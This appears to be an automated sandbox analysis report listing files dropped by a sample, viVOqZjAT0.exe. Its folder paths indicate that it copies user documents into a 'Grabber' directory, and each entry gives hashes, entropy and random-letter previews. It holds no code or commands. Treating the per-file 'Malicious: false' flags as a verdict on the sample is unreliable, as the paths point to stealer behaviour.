SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\VLZDGUKUTZ\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
